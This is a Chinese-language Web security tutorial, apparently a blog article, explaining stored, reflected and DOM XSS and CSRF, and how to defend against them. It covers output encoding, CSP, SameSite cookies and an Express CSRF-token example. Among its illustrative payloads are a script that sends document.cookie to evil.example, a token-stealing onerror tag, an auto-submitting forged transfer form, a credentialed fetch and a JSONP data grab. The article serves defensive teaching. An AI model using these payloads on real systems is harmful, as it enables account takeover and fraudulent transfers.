ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

XSS与CSRF攻击原理及防御实战:Web安全核心解析

XSS与CSRF攻击原理及防御实战:Web安全核心解析

最近一个朋友的业务系统被安全扫描报告里的一条中危漏洞折腾得够呛:一个评论区输入点没做过滤,被塞进了一段脚本字符串,虽然当时没造成实际损失,但排查和加固花了两天时间。这件事让我想把这几年在 Web 安全防护上踩过的坑、验证过的方案好好整理一篇长文。XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是 Web 安全里最经典、也最容易被低估的两个问题,我在企业应用、开源系统、云平台的渗透测试和代码审计里都见过它们的身影;表面看都是“浏览器里跑东西”,但前者是信任用户输入,后者是信任浏览器自动携带的请求凭证。这篇文章会把二者的底层原理、三种 XSS 形态、真实攻击链、防御策略和实际部署时的经验,结合可复现的实操代码完整拆开讲清楚。适合团队里负责安全编码、需要做系统加固或者正在准备安全评审的研发同学。

1. XSS 攻击的底层逻辑与三种常见形态

1.1 存储型 XSS:持续投毒的后台级风险

存储型 XSS 是所有 XSS 变体中危害最稳定、持续周期最长的一种。攻击者将恶意脚本“存储”在服务端(比如数据库、缓存、文件系统),当其他用户访问相关页面时,脚本被原样渲染并执行。为什么说它危险?因为受害者往往是不特定的真实用户,攻击者不需要单独投递一个带参数的恶意链接,只需要找到目标系统的一个输入口,提交一次,之后每次有人浏览该区域都会中招。

我见过一个典型的真实案例:某内部 OA 系统在员工信息台账的“备注”字段中,用户填写的文本在列表页通过innerHTML直接插入。攻击者在备注中写入<img src=x onerror="fetch('/api/profile/export?token='+localStorage.getItem('token'))">,当管理员打开台账列表时,该员工的 token 被发送到一个域名下。单看一次请求平平无奇,但攻击者拿到的是管理员的会话凭证,可以进一步接管账号、读取全员的通讯录和薪资数据。整个过程不需要任何提权操作,只是把一个输入点从“纯文本”变成了“可执行代码的富文本”。

存储型 XSS 的审计难点在于:它不一定发生在明显的表单字段,还可能出现在 HTTP 头部的 User-Agent、Referer 被记录后展示的场景,甚至是日志平台渲染用户代理字符串的位置。我在实际排查中会将所有数据流路径梳理一遍:用户可控输入 → 存储介质 → 渲染出口,任何缺失“输出编码”的出口都要标记为风险点。对团队而言,建立数据流拓扑是比临时修补更高效的长期方案。

1.2 反射型 XSS:一次点击的大规模钓鱼链

反射型 XSS 与存储型的区别在于恶意脚本不持久化,而是“反射”在服务端响应中。攻击者将脚本作为参数拼接到 URL 中(形如/?q=<script>...),服务端直接把参数值嵌入响应页面,受害用户点击该链接后,脚本在页面中执行。

这类攻击的杀伤力要搭配钓鱼链来看。攻击者会用一个伪装后的短链接,将受害者引导到目标站点,URL 里带着经编码的恶意参数,浏览器解析时触发。某些场景下还能利用现有网站的 302 跳转接口做“开放重定向 + XSS”的组合,受害者看到的是合法站点域名,但页面仍然执行了恶意代码,这会显著降低用户的戒心。

对反射型 XSS 的防御,除了标准的输出编码,还要关注 URL 参数是否在服务端日志、错误页面、404 页面中被二次输出。如果网站自定义了 404 页面并将请求路径直接回显,就很可能出现一个“路径反射型 XSS”。我在一次审计中就遇到过这种情况:系统所有未匹配路由都被重定向到一个统一错误页,错误页里用pathname变量展示用户访问的地址,但没有进行 HTML 实体转义,导致攻击者可以把脚本拼接在路径里,使任何访问无效链接的用户在错误页上执行脚本。这个形态的隐蔽性在于研发通常不把异常处理页面视为“模板渲染出口”。

1.3 DOM 型 XSS:前端框架依赖的双重陷阱

DOM 型 XSS 与前两者最大的区别是:恶意代码在 DOM 操作阶段触发,服务端响应中可能完全不存在可疑内容。整个过程发生在浏览器本地:JavaScript 读取location.hash、document.referrer、window.name等“不可信源”,再通过innerHTML、eval、document.write或类似 API 将其写入页面。

这类问题在传统后端渲染项目中较少见,但在前后端分离架构下非常普遍。我排查过的一个案例是:前端框架从 URL 的 query 参数读取redirect值,再根据该值动态更新登录页的“返回来源”跳转链接。攻击者构造https://某系统/login?redirect=javascript:document.location='https://evil.example/steal?' + document.cookie,当用户点击登录页的返回链接时,实际执行的是javascript:协议。由于该资源是在页面本地执行而非服务端拼接,WAF 无法观测到恶意载荷出现在响应体中。

更隐蔽的案例出现在使用v-html、dangerouslySetInnerHTML这类“信任 HTML 字符串”的框架特性时。有些开发为了渲染富文本内容而引入这些 API,却没有在前端再做一轮净化。我在方案评审时通常会提出:不要在前端用“HTML 字符串拼接组件”的方式来渲染不可信数据,如果业务确实需要富文本,应该在存储层做白名单标签过滤,而非完全依赖前端展示层的换行处理。框架的双向绑定不等于自动安全,开发者需要时刻记住“本地读取用户可控数据”的路径也是一个攻击面。

2. CSRF 攻击原理与真实攻击链拆解

2.1 CSRF 为什么能成功:浏览器 COOKIE 的信任陷阱

CSRF 的底层逻辑非常直接:浏览器在发起跨域请求时,会按规定携带本域名下的 Cookie(取决于 SameSite 属性),而服务端只校验“这个请求带有合法 Cookie”,却无法区分该请求是由用户本人真正点击产生的,还是由第三方页面里的表单、图片或fetch脚本自动发起的。

形象一点说:你把家门钥匙放在了门口的鞋柜里(浏览器自动携带 Cookie),小偷不需要撬锁,只需要趁你午睡时,从窗户扔一个“指令纸条”(构造好的跨站请求),钥匙会被自动匹配到门上(浏览器自动带上了 Cookie),门就开了。服务端的视角里,“有钥匙的人”就是主人,所以请求被认为是合法的。

CSRF 攻击的核心条件是“受害者处于登录状态”以及“目标接口支持自动携带凭证的请求方式”。GET 请求天然成为重灾区:例程中的“导出报表”“删除记录”“分配权限”等操作如果以 GET 方式暴露,那么攻击者只需要在第三方页面上放一个<img src="https://目标系统/admin/delete?id=123">,受害者浏览器加载图片时就会自动发出该 GET 请求。

POST 请求也并非安全避风港。跨域表单提交不受同源策略限制,攻击者可以用一个隐藏 iframe 里的表单,action指向目标接口,受害者进入页面后表单自动 submit,同样携带了用户的 Cookie。更需要注意的是 HTTP 请求中大量的 JSON 接口。不禁让人以为跨域请求 JSON 数据会被 CORS 拦截而安全,但实际上“发出去”和“读到响应”是两回事——CSRF 攻击只关心请求能不能发出并生效,并不需要读取响应内容。

2.2 从登录态到转账:一次完整的 CSRF 攻击链路

拆一个完整的攻击案例,能更直观理解 CSRF 的可怕之处。假设某网上银行系统(示例用某支付系统代替)有一个转账接口:POST /api/transfer,参数为to_account、amount,Cookie 中保存有 sessionid,接口不做任何额外校验。

攻击者在自己的博客上部署如下页面:

<form action="https://某支付系统/api/transfer" method="POST" id="csrf"> <input type="hidden" name="to_account" value="attacker001" /> <input type="hidden" name="amount" value="10000" /> </form> <script> document.getElementById('csrf').submit(); </script>

受害者只要在另一个标签页里保持着某支付系统的登录态,然后无意中打开了这篇博客文章,就会被自动执行这个表单提交。浏览器带着该用户真实的 sessionid Cookie 发出请求,服务端校验通过,钱就从受害者账户转到了攻击者指定的账户。

如果目标接口接受 JSON 请求体,攻击者也可以用fetch发起:

fetch('https://某支付系统/api/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json' }, credentials: 'include', body: JSON.stringify({ to_account: 'attacker001', amount: 10000 }) });

虽然fetch跨域会触发 CORS 预检,但预检是否被允许并不影响请求发出的动作,真正重要的是服务端对携带 Cookie 的接口是否做了 CSRF Token 校验。在实际攻防中,只要目标接口不校验Origin/Referer、不使用 Token、Cookie 没有SameSite=Lax/Strict限制,基本一打一个准。

2.3 容易被忽视的登录 CSR F 与 JSONP 变种

CSRF 的经典目标通常是有敏感操作的业务接口,但登录 CSRF 和 JSONP 型 CSRF 是容易漏掉的两个变种。

登录 CSRF 的思路是:攻击者在第三方页面诱导受害者向目标系统提交一组“攻击者已知的账号密码”。如果目标系统不做来源校验,受害者的浏览器就会以这套伪造的账号成功登录。虽然不直接造成数据泄露,但后续受害者若主动输入真实账号密码,仍然会因“会话已存在”而被认为已登录,用户可能在不知情的情况下在攻击者账户下操作,留下操作记录和痕迹,为钓鱼攻击创造广阔空间。

JSONP 型 CSRF 更偏技术性。老系统中常有提供 JSONP 回调的接口,本质上是服务端将一段 JavaScript 包装成“可被跨域加载的脚本”。攻击者可以构造<script src="https://目标系统/user/info?callback=maliciousFn"></script>,当恶意页面加载这段“JSONP 脚本”时,目标系统返回的用户信息就会作为参数传入恶意函数maliciousFn,于是攻击者通过 JSONP 接口读取到受害者的敏感信息,而这完全绕过了 CORS 对“读响应”的限制。审计时,如果接口提供 JSONP 且参数包含敏感数据,应将此接口的风险等级直接拉满。

3. XSS 防御体系:编码、CSP 与 Cookie 安全

3.1 上下文相关的输出编码是底线

许多团队认为“过滤输入”是防 XSS 的最佳路径,其实输出编码更重要。XSS 的本质是数据被注入到 HTML 上下文(如标签、属性、事件、脚本区域),导致数据内容被解释为代码,而输出编码在“渲染出口”这一环防止数据脱离它的“数据身份”,所以对不可信数据的每一次渲染都必须在“对应的上下文中做对应的编码”。

HTML 页面中的上下文至少有四种:HTML 标签之间、HTML 属性内、JavaScript 字符串内、URL 属性内。每种上下文需要不同的编码方式:

  • 在 HTML 标签文本中:转义& < > " '为实体
  • 在 HTML 属性内:除了上述字符,还要注意引号包裹,使用属性编码
  • 在 JavaScript 字符串内:需要进行\uXXXX式的 Unicode 转义,避免闭合脚本标签
  • 在 URL 中:需要 URL 编码,同时还要防范javascript:等协议绕过

举个例子,假设用户在论坛的“昵称”字段填了<script>alert(1)</script>,服务端输出时需要转成&lt;script&gt;alert(1)&lt;/script&gt;,浏览器在渲染时只会显示文本,不会执行脚本。但如果前端框架用v-html或dangerouslySetInnerHTML渲染该字段,实体也会被解码后重新将 HTML 插入 DOM,此时编码就失效了,需要配合前端净化。

现代后端模板引擎普遍默认开启自动转义,比如 Vue 模板的插值语法、Go 的html/template,但风险在于开发者无意识地跳过了转义机制。例如 Go 模板中template.HTML强制将字符串标记为安全 HTML,Python Flask 的 Jinja2 中|safe过滤器,Java JSP 中<%= %>与老式标签混用,都可能将转义“关闭”。审计时我会重点搜索项目中所有|safe、html/template、v-html的出现位置,逐一核对输入源与渲染上下文。

3.2 CSP 策略:从浏览器层面划定执行范围

内容安全策略(CSP)是现代浏览器中非常重要的 XSS 防线。它的核心思想是:通过 HTTP 响应头告知浏览器,页面只允许加载指定的外部资源和执行指定策略下的脚本,从而即使攻击者注入了一段<script>,也无法从同源之外加载恶意代码,或者因不合规的unsafe-inline机制被拦截。

一个基础且常见的响应头配置:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;

这条策略限制了脚本只能从同源加载,不允许内联脚本执行,不允许动态执行eval和new Function,恶意注入的<script>代码块会被浏览器拦截。对于纯前端项目,如果确实需要内联脚本,可以考虑 Hash 或 Nonce 方式:

Content-Security-Policy: script-src 'self' 'nonce-EDN3spaBrc3iZs3E1W2g';

然后在 HTML 中给合法的<script>标签加上同样的nonce值:

<script nonce="EDN3spaBrc3iZs3E1W2g"> // 合法内联脚本 </script>

用 nonce 的方式,既允许内联脚本运行,又阻止了攻击者注入的脚本(因为攻击者无法知道每次响应新生成的随机 nonce)。注意 nonce 每次响应都应该是随机值,不能是写死的常量。

CSP 在实践中有个妥协点:第三方统计、在线客服等外部工具通常需要加载远程脚本,直接设为script-src 'self'会导致功能被拦。更稳妥的做法是单独为可信域名添加白名单:如script-src 'self' https://stat.example.com https://chat.example.com,但这要求团队对外部脚本域名有严格的信任管控,一旦外域被攻破,CSP 防护就会同步失效。

3.3 HttpOnly、Secure 与 SameSite:Cookie 安全的组合拳

Cookie 在 XSS 攻击中是主要的窃取目标。攻击者一旦能在页面中执行脚本,通常第一反应就是把document.cookie偷走,拿到会话凭证。而HttpOnly属性可以阻断脚本对 Cookie 的读取,这是赢得纵深防御重要的一着棋。

HttpOnly的作用范围限定在“能否被document.cookie读取”,它并不能阻止请求自动携带 Cookie,也不影响用户正常会话。设置方式很简单:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

同一条响应头中,Secure保证 Cookie 只在 HTTPS 连接中发送,避免被明文抓包;SameSite则是应对 CSRF 的关键配置。我将SameSite的三个取值对比整理如下:

SameSite 值跨站 POST 请求跨站 GET 请求适用场景
None会携带会携带跨域单点登录服务
Lax不携带仅顶层导航 GET 携带绝大多数业务系统
Strict不携带不携带高安全强度的后台系统

SameSite=Lax是 Chrome 和 Edge 的默认行为,也是对 CSRF 最直接有效的浏览器层缓解方案:只要攻击页面不在目标站点根域名下,跨站 POST 请求就不会携带 Cookie。团队在迁移或上线时应把 Cookie 属性统一通过配置中心下发,避免各子系统开发各自设置,导致部分接口仍使用SameSite=None而失去防护。

4. CSRF 防御实操:Token、SameSite 与请求头验证

4.1 Token 机制的密码学原理与落地实现

CSRF Token 防御的核心是:让服务端可以判断“这个请求确实是在我们自己的页面上发起的”。利用随机且不暴露给第三方的 Token 对请求进行签名,是阻断跨站构造请求的标准姿势。原理上,攻击者无法获知当前会话的 Token 值,也就无法在跨域页面中构造出含有正确 Token 的请求。

通常流程是:用户登录后生成一个随机 Token 保存在服务端会话中,同时在渲染页面表单时写入一个隐藏字段:

<form action="/transfer" method="POST"> <input type="hidden" name="_csrf" value="8f6c92a1e4b7d3" /> <input name="to_account" /> <input name="amount" /> <button type="submit">提交</button> </form>

服务端接收到 POST 请求后,对比请求体中的_csrf与会话中的 Token 是否一致,不一致则直接拒绝。

在前后端分离架构中,更常见的做法是把 Token 放在 Cookie 中(命名为csrfToken),前端每次请求时通过请求头X-CSRF-Token带回。服务端在鉴权中间件里取 Cookie 值并与请求头比对,这是一份完整的 Express + 原生 Node 示例:

const crypto = require('crypto'); const express = require('express'); const cookieParser = require('cookie-parser'); const app = express(); app.use(cookieParser()); app.use(express.urlencoded({ extended: true })); const sessions = new Map(); app.get('/login', (req, res) => { const sessionId = crypto.randomBytes(16).toString('hex'); const csrfToken = crypto.randomBytes(24).toString('hex'); // 每个会话生成独立的CSRF Token sessions.set(sessionId, { user: 'demo', csrfToken }); // Token同时放入Cookie,前端可从Cookie读取 res.setHeader('Set-Cookie', [ `sessionid=${sessionId}; HttpOnly; SameSite=Lax; Path=/`, `csrfToken=${csrfToken}; Secure; SameSite=Lax; Path=/` ]); res.send('login success'); });
function verifyCsrf(req, res, next) { // 从Cookie取,也可以从请求头取 const cookieToken = req.cookies.csrfToken; const headerToken = req.get('X-CSRF-Token'); const session = sessions.get(req.cookies.sessionid); if ( session && cookieToken && headerToken && session.csrfToken === cookieToken && session.csrfToken === headerToken ) { return next(); } res.status(403).json({ error: 'CSRF token mismatch' }); } app.post('/api/transfer', verifyCsrf, (req, res) => { const session = sessions.get(req.cookies.sessionid); res.json({ result: 'transfer ok', user: session.user, to: req.body.to_account }); }); app.listen(3000);

这个实现里有两个细节值得注意。一是“双重提交”策略:Cookie 中存一份 Token,请求头中携带一份 Token,服务端校验两者一致且与会话中的一致,这样即使采用SameSite=None跨域,攻击者也无法在第三方站点读取到 Cookie 中的 Token,自然构造不出补全请求头。二是每个会话的值需要随机生成,伪随机数源或固定值会让 Token 失去意义,推荐使用crypto.randomBytes之类的密码学安全伪随机数生成器。

在实践踩坑中,我发现很多团队在实现 Token 校验时只比对是否非空,或者直接把 Token 写在前端 localStorage 并允许跨域传递,这等于把一个随机数变成了公开值,CSRF 防御形同虚设。Token 的保密性是整个机制的立足点,务必确保它只在 Response Set-Cookie 下发给本域前端,在跨域请求时不能被 JS 读取到。

4.2 SameSite Cookie 的正确配置姿势

因为令牌机制已经能将绝大多数 CSRF 拦截住,为什么还要单独谈SameSite?因为它能把防御前置到浏览器端,降低应用层压力。尤其对于纯后端渲染的多页应用,几乎不加代码即可获得基础防护,前提是 Cookie 的设置正确。

实践中要注意两个场景:

第一,从.example.com主域切分出的业务子域。比如登录中心在auth.example.com,业务站点在www.example.com,如果 Cookie 的Domain设置为example.com,那么在auth.example.com的页面下也可以携带此 Cookie,这扩大了攻击面。在非跨域单点登录场景下,建议使用最窄的HostOnly模式(即不加Domain属性),让 Cookie 仅对精确访问的域名生效。

第二,老系统升级时,常常会遇到“设置SameSite=Lax后第三方小游戏无法调用本域接口”的业务报障。此时要分清场景:如果业务确实需要跨站请求,不应直接退回到SameSite=None,而是考虑把易受攻击的接口改造为POST + Token验证,并在 Cookie 设置中选择SameSite=None; Secure,再结合之前提到的双重提交策略来做专用接口防护。保持SameSite=Lax作为绝大多数接口的默认属性,是最稳妥的基线。

在边界场景中,SameSite=Strict会让用户从外部链接进入站点时首次请求不带 Cookie,可能影响跳转和推广渠道的识别;Lax会允许“顶层导航 GET”携带 Cookie,这也是电商场景下从短信链接点入保持登录的常规选择。对后台管理、内部账号体系等高安全域,建议直接使用Strict。

4.3 自定义请求头与业务级二次校验

还有一种轻量级 CSRF 缓解方案:要求所有敏感接口必须携带一个自定义请求头(例如X-Requested-With: XMLHttpRequest或X-Client-Auth: 某个项目标识)才能被服务端受理。

原理很简单:跨域请求如果带有自定义请求头,浏览器会先触发 CORS 预检,而服务端如果没有配置允许该请求头的Access-Control-Allow-Headers,预检无法通过,浏览器就不会发送实际请求。不过这只是一个“策略缓解”,不能作为唯一防线,因为同域被 XSS 污染后攻击者一样可以带自定义头,另外某些老浏览器版本对预检的处理也有差异。

更关键的还是业务层面的二次校验。以转账接口为例,在接口总分逻辑上同时加入“近期登录时间超过 X 小时需重新验证密码”“添加新的收件人时邮箱/短信验证码确认”“高风险操作需要独立的一次性验证码”等机制。攻击者即使成功发起了 CSRF 请求,也会在业务校验层被卡住。这属于纵深防御的思路,即便 Token 和 SameSite 被绕过,业务自己的验证码、二次确认、风控策略仍然能兜住。

4.4 前后端分离项目的 CSRF 防御清单

很多现代前端项目是 SPA,由静态资源服务器承载页面,接口解析到独立的 API 域名。这种架构下 CSRF 的防护重点会有一点偏移:

  • 登录接口必须使用POST+ JSON 方式,且不应接受multipart/form-data这类可被表单跨域提交的格式复用
  • 所有 Cookie 设置统一的SameSite=Lax,涉及跨域单点登录时单独放行到指定域名
  • 使用请求头X-CSRF-Token双重提交的方案,CORS 配置中不要对Access-Control-Allow-Origin使用通配符
  • 对 JSON 接口,服务端要在请求路由前检查Content-Type是否为application/json,拒绝来自 HTML 表单的application/x-www-form-urlencoded、multipart/form-data提交。这个检测能让即使攻击者用古老的表单方式发动请求,也会因媒体类型不符被直接拒掉
  • 定期检查接口是否还暴露了 GET 型状态变更操作,将它们统一收敛到POST、PUT、DELETE

5. 常见问题排查实录与最小防守基线

5.1 常见误判与排查方向

在接手项目做安全巡检时,我经常看到团队把问题归错方向。整理几个高频的排查场景:

第一个场景是“Console 里明明报 CORS 错误,系统接口仍然执行了操作”。不少人以为跨域请求被 CORS 拦截了,就认为自己不受 CSRF 影响。实际上预检失败拦截的是“读取响应”,但请求本身可能已经被处理了,尤其对于某些不进行 OPTIONS 预检的简单请求。排查时需要查看服务端日志确认请求是否到达了业务逻辑层,而不仅是看浏览器报错。

第二个场景是“明明用了 Token,为什么 CSRF 测试还是失败”。常见原因是 Token 放在 localStorage 里,前端 JS 全局可读,而攻击者通过 XSS 直接读取到 Token 后是可以代入请求的;或 Token 没有随会话作废,用户登出后再次登录,Token 不变,旧链接依然有效。排查时要验证“登出后再登录,Token 是否已更新”。

第三个场景是“WAF 规则明明过滤了<script>,为什么 XSS 还成功”。因为攻击者不需要写<script>标签,可以只用<svg/onload=...>、<img src=x onerror=...>这样的标签,或者通过 DOM 型 XSS 在本地拼接,WAF 根本看不到 payload。这时候需要审查渲染出口,特别是前端对 HTML 字符串的处理。

将这些高频问题整理成一张排查速查表,方便团队自查:

现象可能根因优先排查方向
跨域请求后操作生效CORS 拦了响应,没拦请求日志确认请求到达业务层;检测 Content-Type
XSS 注入无法回显输出已被编码或 WAF 拦截检查渲染上下文与模板编码方式
存入的 HTML 标签被实体化输出编码生效,正常防御确认这是预期行为而非故障
Token 校验总失败Token 未随会话更新检查首次登录时是否生成并绑定 Token
带上 Token 依然被 CSRFToken 来源可被脚本读取检查是否放入了 localStorage 且全局可读
页面内联脚本全部被拦CSP 设置了 unsafe-inline 限制使用 nonce 或 hash 放行合法脚本

5.2 一次演练中的踩坑实录

前阵子在模拟项目 X 上做了一次安全加固演练,我带着团队完整复现了“某内容后台”的整个防护闭环。有几个细节非常值得单独写出来。

开始阶段,开发同学认为凡是通过fetch发起请求就一定安全,理由是“跨域请求会被 CORS 拦截”。我们实际上在一个攻击者域名页面里针对目标站的“发布文章”接口发起了 POST JSON 请求,用credentials: 'include',结果接口直接 200。原因就是后端接口没有校验Origin头,也没有拒绝非白名单的跨源调用。请求确实能到达业务逻辑,响应内容浏览器拦截了,但“发布文章”这个动作确实生效了。这一幕算是给团队上了很好的一课。

随后我们在发布接口上加入了双 Token 校验,但第一次自测时发现 Token 永远校验不过。排查了一下午,才发现前端在请求时读取 Cookie 中的csrfToken,但后端生成的 Cookie 设置了SameSite=Lax,在本地测试的localhost:8080与localhost:3000之间属于“跨站”,Lax模式下 Cookie 不会送到 API 域,于是前端读不到 Token。这个问题的解法是在开发环境单独允许跨站携带或改用请求头传递,而不是在 Cookie 上放宽SameSite=None。演练环境的域名隔离策略需要提前统一约定,开发联调时所有域名都放在同一个主域下(如app.example.com和api.example.com),Cookie 归属主域,前后端配合才不会出现环境差异。

最深刻的教训还是 CSP 策略的灰度发布:团队一开始把所有页面的内联脚本全部设为'self',导致老页面中的统计代码和外联 SDK 全部失效,线上告警一片。后来我们采用“先开报告模式”——Content-Security-Policy-Report-Only只上报违规不拦截,跑了两周观察生产环境的违规日志,逐步加入白名单后再正式切换。这个策略对存量系统来说非常建议,直接上线新策略几乎必然炸掉一批第三方脚本。

5.3 最小防守基线清单

经过上面这么多讨论,其实核心问题始终是:对于一个资源有限的团队,至少应该做到什么才算合格?我根据自己的巡检经验给出一份“最小防守基线”,不至于让团队被过度安全审计拖垮,也能挡住绝大多数常见攻击:

  1. 所有用户输入不可信:在存储前做业务校验,在校验后保持“原貌存储”,不要试图通过过滤黑名单来消除风险,正确的姿势是在输出时按上下文编码
  2. 模板渲染默认转义:后端模板引擎的自动转义不要随便关闭,前端框架的v-html和dangerouslySetInnerHTML使用前必须检查输入源
  3. Cookie 统一加HttpOnly; Secure; SameSite=Lax,不跨域共享的会话 Cookie 不要给Domain属性
  4. 敏感操作接口必须为POST并且校验双重提交 Token,内容类型固定为application/json,非白名单来源一律拒绝
  5. 给全站加上 CSP 响应头,优先用Report-Only灰度上线,再把违规告警接入日常监控
  6. 在网关层对所有经过的响应做“X-XSS-Protection: 0”或直接无果头保护,但不要依赖于 X-XSS-Protection 作为主防线,它的兼容性和一致性有限

这套基线覆盖了 90% 的常见攻击路径,实施成本不高,却能让系统在渗透测试中的风险分数明显下降。团队如果连这几条都没有覆盖,我的建议是先把它们当作安全迭代的第一优先级排期。

围绕整套方案,我再分享一个实际感受:防御 XSS 与 CSRF 不是“上线前补一下”的任务,而是每次迭代都要回看的安全基线。在我负责的项目里,安全要求是与业务需求一同进入迭代排期的,哪怕只是新增一个查询接口,也要走一遍“输入校验、输出编码、Cookie 属性、接口方法约束”的检查清单。这听起来繁琐,但真的能让研发在写代码时就习惯性地规避风险,避免在最后的安全评审阶段大返工。希望这篇整理能帮你避开那些我已经踩过的坑,给你的系统加上一层踏实的防护。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进